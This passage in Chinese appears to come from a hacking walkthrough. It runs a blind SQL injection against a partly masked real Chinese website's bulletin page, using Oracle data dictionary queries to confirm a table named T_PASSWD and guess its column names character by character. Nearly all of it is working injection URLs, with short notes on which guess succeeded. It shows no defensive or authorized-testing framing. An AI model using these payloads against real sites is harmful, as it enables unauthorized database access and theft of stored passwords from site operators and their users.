得到有NAME这个字段对应的表的长度是8,继续猜到对应的表名:

| http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and substr(table_name,1,8)='T_PASSWD') and '1'='1 |
| http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,-2,2)='ID') and '1'='1 |
| http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,1)='S') and '1'='1 |
得到第一个字符为S。
| http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,2)='ST') and '1'='1 |
第二个字符为T。
| http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,3)='STA') and '1'='1 |
第三个为A……直到第八个字符。
